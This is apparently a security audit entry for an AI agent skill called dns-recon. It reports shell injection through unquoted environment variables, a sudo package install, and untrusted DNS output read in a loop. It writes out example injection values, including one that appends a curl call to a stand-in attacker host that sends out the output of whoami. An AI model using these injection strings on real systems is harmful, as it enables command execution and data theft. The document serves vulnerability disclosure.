The Agent Skills Directory

[COMMAND_EXECUTION]: The skill is highly vulnerable to shell command injection via input environment variables.
The variable SECSKILL_DNS_RESOLVER is used to construct RESOLVER_OPT in Step 1, which is then used unquoted across all steps (e.g., dig $RESOLVER_OPT "$TARGET"). An attacker could set this variable to 8.8.8.8; <malicious_command> to execute arbitrary code.
In Step 6, the variable TARGET (derived from SECSKILL_TARGET_DOMAIN) is used unquoted in commands like dig $RESOLVER_OPT $TARGET A. If the domain contains shell metacharacters (e.g., example.com; curl http://attacker.com/$(whoami)), it will result in command execution.
[COMMAND_EXECUTION]: The skill suggests using sudo to install packages (dnsutils, bind-utils) during the prerequisite phase. While common for system utilities, it requires the agent or user to have elevated privileges.
[COMMAND_EXECUTION]: The skill processes output from external DNS queries (specifically dig ... NS +short) and iterates over it in a while read loop. A malicious DNS server returning crafted records could potentially influence shell behavior, although the use of dig +short and quoting "$NS" in most places provides some mitigation.

dns-recon